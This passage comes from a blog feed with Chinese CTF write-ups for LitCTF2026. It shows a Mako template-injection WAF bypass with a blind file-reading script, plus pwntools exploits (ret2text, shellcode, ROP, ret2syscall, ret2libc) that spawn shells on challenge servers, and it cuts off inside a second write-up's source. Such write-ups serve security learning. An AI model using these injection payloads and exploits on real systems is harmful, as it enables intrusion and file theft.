class="line">&#123;&#123;[].__class__&#125;&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520869509-b23f00d4-1bab-43ef-ae93-65886e015d02.png" alt="img"></p><p>说明后端确实有模板渲染和 WAF，只是模板引擎可能不是 Jinja2，或者表达式分隔符不是 <code>&#123;&#123; &#125;&#125;</code>。</p><p>测试 Mako 控制行语法：</p><p>payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% <span class="keyword">if</span> <span class="literal">True</span>:</span><br><span class="line">OK</span><br><span class="line">% endif</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520900839-07cbad2a-9f48-4473-ae72-41e3318644af.png" alt="img"></p><p>再测循环：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">X</span><br><span class="line">% endfor</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779520952431-8dd8cc34-8815-4d97-a2c7-14a7f00924c9.png" alt="img"></p><p>所以后端是 Mako 模板注入。Mako 的表达式输出是<code>$&#123;7*7&#125;</code></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779521004148-0688855e-00a2-4bf5-8c1b-b8e00ef3e49e.png" alt="img"></p><p>因此不能直接用 ${…} 输出命令结果，需要换成控制流盲注。</p><p>经过测试发现以下关键词会触发WAF</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">flag</span><br><span class="line">.</span><br><span class="line">[]</span><br><span class="line">=</span><br><span class="line">$&#123;...&#125;</span><br></pre></td></tr></table></figure><p>绕过思路：</p><ol><li>flag 拆成字符串拼接：’&#x2F;f’+’lag’</li><li>点号调用 .read() 改成 getattr(…,’read’)()</li><li>下标访问 [i] 改成 getattr(…,’<strong>getitem</strong>‘)(i)</li><li>不用 &#x3D;，判断大小用 &gt; 做二分盲注</li></ol><p>确认文件存在</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% <span class="keyword">if</span> <span class="built_in">getattr</span>(<span class="built_in">open</span>(<span class="string">&#x27;/f&#x27;</span>+<span class="string">&#x27;lag&#x27;</span>),<span class="string">&#x27;read&#x27;</span>)():</span><br><span class="line">Y</span><br><span class="line">% endif</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779521122070-2f8778fc-57c4-46c9-bbf7-3d17d6f9a40e.png" alt="img"></p><p>使用盲注+二分法判断出flag位数是42位</p><p>payload</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% <span class="keyword">if</span> <span class="built_in">len</span>(<span class="built_in">getattr</span>(<span class="built_in">open</span>(<span class="string">&#x27;/f&#x27;</span>+<span class="string">&#x27;lag&#x27;</span>),<span class="string">&#x27;read&#x27;</span>)())&gt;<span class="number">10</span>:</span><br><span class="line">Y</span><br><span class="line">% endif</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779521467884-ac8c5721-dd6b-413c-b26f-29ba617d195f.png" alt="img"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779521580735-72f0638d-3552-48d1-9337-8ccab0e277cb.png" alt="img"></p><p>然后逐字符读取flag</p><p>因为不能直接输出文件内容，就用 ord() 判断某一位字符 ASCII 值。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">% <span class="keyword">if</span> <span class="built_in">ord</span>(<span class="built_in">getattr</span>(<span class="built_in">getattr</span>(<span class="built_in">open</span>(<span class="string">&#x27;/f&#x27;</span>+<span class="string">&#x27;lag&#x27;</span>),<span class="string">&#x27;read&#x27;</span>)(),<span class="string">&#x27;__getitem__&#x27;</span>)(<span class="number">0</span>))&gt;<span class="number">100</span>:</span><br><span class="line">Y</span><br><span class="line">% endif</span><br></pre></td></tr></table></figure><p>exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib.parse</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> html</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://challenge.cyclens.tech:31533/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">query</span>(<span class="params">expr</span>):</span><br><span class="line">    tpl = <span class="string">f&quot;% if <span class="subst">&#123;expr&#125;</span>:\nY\n% endif&quot;</span></span><br><span class="line">    data = urllib.parse.urlencode(&#123;<span class="string">&quot;tpl&quot;</span>: tpl&#125;).encode()</span><br><span class="line"></span><br><span class="line">    req = urllib.request.Request(url, data=data, method=<span class="string">&quot;POST&quot;</span>)</span><br><span class="line">    <span class="keyword">with</span> urllib.request.urlopen(req, timeout=<span class="number">10</span>) <span class="keyword">as</span> r:</span><br><span class="line">        text = r.read().decode(<span class="string">&quot;utf-8&quot;</span>, <span class="string">&quot;replace&quot;</span>)</span><br><span class="line"></span><br><span class="line">    m = re.search(<span class="string">r&#x27;&lt;pre id=&quot;out&quot;&gt;(.*?)&lt;/pre&gt;&#x27;</span>, text, re.S)</span><br><span class="line">    out = html.unescape(m.group(<span class="number">1</span>).strip()) <span class="keyword">if</span> m <span class="keyword">else</span> <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> out == <span class="string">&quot;WAF&quot;</span>:</span><br><span class="line">        <span class="keyword">raise</span> RuntimeError(<span class="string">&quot;WAF: &quot;</span> + expr)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> out == <span class="string">&quot;Y&quot;</span></span><br><span class="line"></span><br><span class="line">s = <span class="string">&quot;getattr(open(&#x27;/f&#x27;+&#x27;lag&#x27;),&#x27;read&#x27;)()&quot;</span></span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">200</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> query(<span class="string">f&quot;len(<span class="subst">&#123;s&#125;</span>)&gt;<span class="subst">&#123;i&#125;</span>&quot;</span>):</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    lo, hi = <span class="number">0</span>, <span class="number">127</span></span><br><span class="line">    <span class="keyword">while</span> lo &lt; hi:</span><br><span class="line">        mid = (lo + hi) // <span class="number">2</span></span><br><span class="line">        expr = <span class="string">f&quot;ord(getattr(<span class="subst">&#123;s&#125;</span>,&#x27;__getitem__&#x27;)(<span class="subst">&#123;i&#125;</span>))&gt;<span class="subst">&#123;mid&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">if</span> query(expr):</span><br><span class="line">            lo = mid + <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            hi = mid</span><br><span class="line"></span><br><span class="line">    flag += <span class="built_in">chr</span>(lo)</span><br><span class="line">    <span class="built_in">print</span>(flag)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;FINAL:&quot;</span>, flag)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779521898817-3ce2c110-1ecd-498d-a486-4313d09f935d.png" alt="img"></p><p>flag：</p><p>flag{6vxzg8a7-cwff-4ww-8xwt-szwfuuk7lowyb}</p><h1 id="pwn"><a href="#pwn" class="headerlink" title="pwn"></a>pwn</h1><h2 id="LitCTF2026-lit-ret2text32"><a href="#LitCTF2026-lit-ret2text32" class="headerlink" title="[LitCTF2026] lit_ret2text32"></a>[LitCTF2026] lit_ret2text32</h2><p>32位程序，vuln函数存在栈溢出，offest&#x3D;0x38+0x4</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779504725081-52a13f15-da70-4ab6-a875-d15c19dce245.png" alt="img"></p><p>backdoor函数存在</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779504748254-49f4cd75-73c3-47df-99fe-f27ff88220d5.png" alt="img"></p><p>写脚本，cat flag得到：flag{tkhlcr9k-9yas-4pu-8cid-u2iwn0u4fd8vy}</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779504813100-aee427c7-6c5b-45d9-8964-e3f72230fb08.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line">p = remote(<span class="string">&#x27;challenge.cyclens.tech&#x27;</span>, <span class="number">31756</span>)</span><br><span class="line">payload = b<span class="string">&#x27;A&#x27;</span> *(<span class="number">0x38</span> + <span class="number">4</span>) + p32(<span class="number">0x8049213</span>)</span><br><span class="line">p.recvuntil(b<span class="string">&quot;Input: &quot;</span>)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-integer-overflow"><a href="#LitCTF2026-lit-integer-overflow" class="headerlink" title="[LitCTF2026] lit_integer_overflow"></a>[LitCTF2026] lit_integer_overflow</h2><p>read_data函数， 当输入的 <code>size &gt; 63</code> 时，打印警告信息，但会继续向下执行</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779506020364-5f805bde-dd40-4d44-bc14-904253b86110.png" alt="img"></p><p>存在后门函数</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779506036788-21bb4f08-4852-4e6d-8daa-e87644a2f1f0.png" alt="img"></p><p>写payload，得到flag{itti8hlj-h03z-4oc-8jsp-8yabjt4xuqsnh}</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779506063375-24afc26c-c1cf-46dd-9388-80c432154f87.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line">io = remote(<span class="string">&#x27;challenge.cyclens.tech&#x27;</span>, <span class="number">31839</span>)</span><br><span class="line">io.sendlineafter(b<span class="string">&#x27;(0-63): &#x27;</span>, b<span class="string">&#x27;80&#x27;</span>)</span><br><span class="line">backdoor_addr = <span class="number">0x004011D8</span></span><br><span class="line">payload = b<span class="string">&#x27;A&#x27;</span> * <span class="number">64</span></span><br><span class="line">payload += b<span class="string">&#x27;B&#x27;</span> * <span class="number">8</span></span><br><span class="line">payload += p64(backdoor_addr)</span><br><span class="line">log.info(f<span class="string">&quot;Sending payload, redirecting to: &#123;hex(backdoor_addr)&#125;&quot;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-ret2shellcode"><a href="#LitCTF2026-lit-ret2shellcode" class="headerlink" title="[LitCTF2026] lit_ret2shellcode"></a>[LitCTF2026] lit_ret2shellcode</h2><p>vuln函数，泄露buf的栈地址，read函数存在栈溢出。将shellcode写入buf ，同时覆盖RIP为buf的地址，执行 &#x2F;bin&#x2F;sh 获得 shell</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779506844443-2b0634f4-b2c0-44b4-a1df-356016734ed6.png" alt="img"></p><p>得到：flag{367ou267-ghrv-4rs-8xlt-fvxhyw0lllr5q}</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779506870295-40437e0e-f2bd-4fba-8e0a-e1771bf16d40.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line">p = remote(<span class="string">&#x27;challenge.cyclens.tech&#x27;</span>, <span class="number">30693</span>)</span><br><span class="line">p.recvuntil(b<span class="string">&#x27;buf is at &#x27;</span>)</span><br><span class="line">buf = <span class="type">int</span>(p.recvline(), <span class="number">16</span>)</span><br><span class="line">log.success(hex(buf))</span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">offset = <span class="number">120</span></span><br><span class="line">payload  = <span class="type">shellcode</span></span><br><span class="line"><span class="variable">payload</span>  <span class="operator">=</span> payload.ljust(offset, b<span class="string">&#x27;A&#x27;</span>)</span><br><span class="line">payload += p64(buf)</span><br><span class="line">p.sendafter(b<span class="string">&#x27;Leave your mark&#x27;</span>, payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-ropchain"><a href="#LitCTF2026-lit-ropchain" class="headerlink" title="[LitCTF2026] lit_ropchain"></a>[LitCTF2026] lit_ropchain</h2><p>vuln函数存在栈溢出，offest&#x3D;0x40+8</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779510672154-a7a016aa-36df-44c8-86ef-ce4c44210d2f.png" alt="img"></p><p>程序里还给了三个ROP gadget：</p><ul><li>pop rdi; ret  -&gt; 0x401166</li><li>pop rsi; ret  -&gt; 0x40116b</li><li>pop rdx; ret  -&gt; 0x401170</li></ul><p>同时有：</p><p>read@plt   &#x3D; 0x401060</p><p>system@plt &#x3D; 0x401040</p><p>.bss       &#x3D; 0x403460</p><p>脚本：栈溢出控制RIP，调用read，把&#x2F;bin&#x2F;sh\x00 写进 .bss，然后再调用system，执行system(“&#x2F;bin&#x2F;sh”)，得到shell</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512010942-e2d407bc-c9bf-4586-be5e-f3bd1d7bbda6.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line">p = remote(<span class="string">&#x27;challenge.cyclens.tech&#x27;</span>, <span class="number">30719</span>)</span><br><span class="line">OFFSET     = <span class="number">0x40</span> + <span class="number">8</span></span><br><span class="line">POP_RDI    = <span class="number">0x401166</span></span><br><span class="line">POP_RSI    = <span class="number">0x40116b</span></span><br><span class="line">POP_RDX    = <span class="number">0x401170</span></span><br><span class="line">READ_PLT   = <span class="number">0x401060</span></span><br><span class="line">SYSTEM_PLT = <span class="number">0x401040</span></span><br><span class="line">BSS_BUF    = <span class="number">0x403460</span></span><br><span class="line">payload  = b<span class="string">&quot;A&quot;</span> * OFFSET</span><br><span class="line">payload += p64(POP_RDI) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(POP_RSI) + p64(BSS_BUF)</span><br><span class="line">payload += p64(POP_RDX) + p64(<span class="number">8</span>)</span><br><span class="line">payload += p64(READ_PLT)</span><br><span class="line">payload += p64(POP_RDI) + p64(BSS_BUF)</span><br><span class="line">payload += p64(SYSTEM_PLT)</span><br><span class="line">p.send(payload)</span><br><span class="line">p.send(b<span class="string">&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-ret2syscall32"><a href="#LitCTF2026-lit-ret2syscall32" class="headerlink" title="[LitCTF2026] lit_ret2syscall32"></a>[LitCTF2026] lit_ret2syscall32</h2><p>vuln存在栈溢出，offest&#x3D;0x48+4</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512422762-04288986-8fde-478b-b183-6bd45628d5d3.png" alt="img"></p><p>ret2syscall 用的 gadget地址如下</p><p>pop eax ; ret              0x080491a6</p><p>pop ebx ; ret              0x080491ab</p><p>pop ecx ; pop ebx ; ret    0x080491b0</p><p>pop edx ; ret              0x080491b6</p><p>mov dword ptr [edx], eax ; ret  0x080491bb</p><p>int 0x80                   0x080491c1</p><p>可写地址用data_buf &#x3D; 0x0804b3a0</p><p>首先用mov [edx], eax，写入”&#x2F;bin&#x2F;sh\x00”，然后执行32 位 Linux syscall：execve(“&#x2F;bin&#x2F;sh”, argv, NULL);</p><p>cat flag得到：flag{rydvth5l-fvpz-4e1-8xjz-jg9hnomhld6md}</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779512875812-87b972bc-6a2e-4520-8637-a9c5ed6633f8.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line">p = remote(<span class="string">&#x27;challenge.cyclens.tech&#x27;</span>, <span class="number">30228</span>)</span><br><span class="line">OFFSET = <span class="number">0x48</span> + <span class="number">4</span></span><br><span class="line">DATA_BUF = <span class="number">0x0804B3A0</span></span><br><span class="line"></span><br><span class="line">POP_EAX = <span class="number">0x080491A6</span></span><br><span class="line">POP_EBX = <span class="number">0x080491AB</span></span><br><span class="line">POP_ECX_EBX = <span class="number">0x080491B0</span></span><br><span class="line">POP_EDX = <span class="number">0x080491B6</span></span><br><span class="line">MOV_PTR_EDX_EAX = <span class="number">0x080491BB</span></span><br><span class="line">INT_80 = <span class="number">0x080491C1</span></span><br><span class="line">rop  = b<span class="string">&#x27;&#x27;</span></span><br><span class="line"># 写 <span class="string">&quot;/bin&quot;</span></span><br><span class="line">rop += p32(POP_EDX) + p32(DATA_BUF)</span><br><span class="line">rop += p32(POP_EAX) + b<span class="string">&#x27;/bin&#x27;</span></span><br><span class="line">rop += p32(MOV_PTR_EDX_EAX)</span><br><span class="line"># 写 <span class="string">&quot;/sh\x00&quot;</span></span><br><span class="line">rop += p32(POP_EDX) + p32(DATA_BUF + <span class="number">4</span>)</span><br><span class="line">rop += p32(POP_EAX) + b<span class="string">&#x27;/sh\x00&#x27;</span></span><br><span class="line">rop += p32(MOV_PTR_EDX_EAX)</span><br><span class="line"># 写 argv[<span class="number">0</span>] = data_buf</span><br><span class="line">rop += p32(POP_EDX) + p32(DATA_BUF + <span class="number">8</span>)</span><br><span class="line">rop += p32(POP_EAX) + p32(DATA_BUF)</span><br><span class="line">rop += p32(MOV_PTR_EDX_EAX)</span><br><span class="line"># 写 argv[<span class="number">1</span>] = NULL</span><br><span class="line">rop += p32(POP_EDX) + p32(DATA_BUF + <span class="number">12</span>)</span><br><span class="line">rop += p32(POP_EAX) + p32(<span class="number">0</span>)</span><br><span class="line">rop += p32(MOV_PTR_EDX_EAX)</span><br><span class="line"># execve(<span class="string">&quot;/bin/sh&quot;</span>, argv, NULL)</span><br><span class="line">rop += p32(POP_EAX) + p32(<span class="number">0xb</span>)</span><br><span class="line">rop += p32(POP_ECX_EBX) + p32(DATA_BUF + <span class="number">8</span>) + p32(DATA_BUF)</span><br><span class="line">rop += p32(POP_EDX) + p32(<span class="number">0</span>)</span><br><span class="line">rop += p32(INT_80)</span><br><span class="line">payload = b<span class="string">&quot;A&quot;</span> * OFFSET + rop</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="LitCTF2026-lit-ret2libc"><a href="#LitCTF2026-lit-ret2libc" class="headerlink" title="[LitCTF2026] lit_ret2libc"></a>[LitCTF2026] lit_ret2libc</h2><p>vuln，offest&#x3D;0x40+8</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513158540-cfce0373-70f6-4492-96b3-cc35a84fb02e.png" alt="img"></p><p>leak_value，会泄露地址</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779513558518-62904a37-0e40-4a20-81ee-e7532d9110a2.png" alt="img"></p><p>一个gadget：</p><p>4011b7: pop rdi</p><p>4011b8: ret</p><p>第一次rop：利用leak_value函数，泄露多个函数在libc中的真实地址</p><p>puts: 0x7e74dc230e50</p><p>printf: 0x7e74dc2106f0</p><p>read: 0x7e74dc2c4850</p><p>setvbuf: 0x7e74dc2315f0</p><p>找到对应的libc版本</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779517770825-0a9ae582-418c-45e3-b658-268b8afda401.png" alt="img"></p><p>第二段rop：先泄露 <code>puts@GOT</code> 的真实地址，计算 libc 基址；得到 <code>system</code> 和 <code>&quot;/bin/sh&quot;</code> 的地址，第二次溢出时调用 <code>system(&quot;/bin/sh&quot;)</code> 获取 shell，cat flag：flag{q4iub8cy-6mf7-4wg-8jfe-qt5g2nyvjlsg6}</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/1779518014094-ea2138af-97cc-4cf9-b2a7-a72d8a11fa78.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">from pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line">context.arch = <span class="string">&quot;amd64&quot;</span></span><br><span class="line">context.log_level = <span class="string">&quot;debug&quot;</span></span><br><span class="line">p = remote(<span class="string">&quot;challenge.cyclens.tech&quot;</span>, <span class="number">31541</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>, checksec=False)</span><br><span class="line">OFFSET = <span class="number">72</span></span><br><span class="line">POP_RDI, RET = <span class="number">0x4011B7</span>, <span class="number">0x4011B8</span></span><br><span class="line">LEAK, VULN   = <span class="number">0x4011C3</span>, <span class="number">0x4011F0</span></span><br><span class="line">PUTS_GOT     = <span class="number">0x4033D8</span></span><br><span class="line">def <span class="title function_">leak</span><span class="params">(addr)</span>:</span><br><span class="line">    p.sendafter(b<span class="string">&quot;Tell me your name: &quot;</span>,</span><br><span class="line">        flat(b<span class="string">&quot;A&quot;</span>*OFFSET, RET, POP_RDI, addr, LEAK, RET, VULN)</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">return</span> <span class="type">int</span>(re.search(rb<span class="string">&quot;0x[0-9a-fA-F]+&quot;</span>, p.recvline()).group(), <span class="number">16</span>)</span><br><span class="line">puts = leak(PUTS_GOT)</span><br><span class="line">libc.address = puts - libc.sym[<span class="string">&quot;puts&quot;</span>]</span><br><span class="line">log.success(f<span class="string">&quot;libc base = &#123;hex(libc.address)&#125;&quot;</span>)</span><br><span class="line">system = libc.sym[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">binsh  = next(libc.search(b<span class="string">&quot;/bin/sh\x00&quot;</span>))</span><br><span class="line">p.sendafter(b<span class="string">&quot;Tell me your name: &quot;</span>,</span><br><span class="line">    flat(b<span class="string">&quot;A&quot;</span>*OFFSET, RET, POP_RDI, binsh, system, libc.sym[<span class="string">&quot;exit&quot;</span>])</span><br><span class="line">)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://everythingis-ok.github.io/2026/05/25/LitCTF2026-%E5%85%A8%E6%96%B9%E5%90%91wp/</id>
    <link href="https://everythingis-ok.github.io/2026/05/25/LitCTF2026-%E5%85%A8%E6%96%B9%E5%90%91wp/"/>
    <published>2026-05-25T05:04:35.000Z</published>
    <summary>
      <![CDATA[<h1 id="LitCTF-2026-全方向wp"><a href="#LitCTF-2026-全方向wp" class="headerlink" title="LitCTF 2026 全方向wp"></a>LitCTF 2026 全方向wp</h1><h1 id="misc"]]>
    </summary>
    <title>LitCTF2026 全方向wp</title>
    <updated>2026-05-25T05:31:18.321Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="NSSRound-6-Team-题目复现"><a href="#NSSRound-6-Team-题目复现" class="headerlink" title="[NSSRound#6 Team] 题目复现"></a>[NSSRound#6 Team] 题目复现</h1><h2 id="NSSRound-6-Team-check"><a href="#NSSRound-6-Team-check" class="headerlink" title="[NSSRound#6 Team]check"></a>[NSSRound#6 Team]check</h2><p>访问题目给出了源码，后端服务器是用 Python (Flask)运行的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request</span><br><span class="line"><span class="keyword">import</span> tarfile</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>] = <span class="string">&#x27;./uploads&#x27;</span></span><br><span class="line">app.config[<span class="string">&#x27;MAX_CONTENT_LENGTH&#x27;</span>] = <span class="number">100</span> * <span class="number">1024</span></span><br><span class="line">ALLOWED_EXTENSIONS = <span class="built_in">set</span>([<span class="string">&#x27;tar&#x27;</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title 